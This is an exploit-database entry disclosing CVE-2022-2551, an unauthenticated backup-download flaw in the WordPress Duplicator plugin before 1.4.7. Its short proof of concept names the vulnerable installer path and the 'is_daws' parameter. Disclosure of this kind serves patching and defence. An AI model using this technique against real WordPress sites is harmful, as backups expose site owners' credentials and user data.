WordPress Duplicator 1.4.6 Plugin - Unauthenticated Backup Download Vulnerability

# Exploit Title: WordPress Plugin Duplicator 1.4.6 - Unauthenticated Backup Download
# Exploit Author: SecuriTrust
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: < 1.4.7
# Tested on: Linux, Windows
# CVE : CVE-2022-2551
# Reference: https://securitrust.fr
# Reference: https://github.com/SecuriTrust/CVEsLab/CVE-2022-2551

#Product:
WordPress Plugin Duplicator < 1.4.7

#Vulnerability:
1-It allows an attacker to download the backup file.

#Proof-Of-Concept:
1-Backup download.
The backup file can be downloaded using the "is_daws" parameter.
http://[PATH]/backups-dup-lite/dup-installer/main.installer.php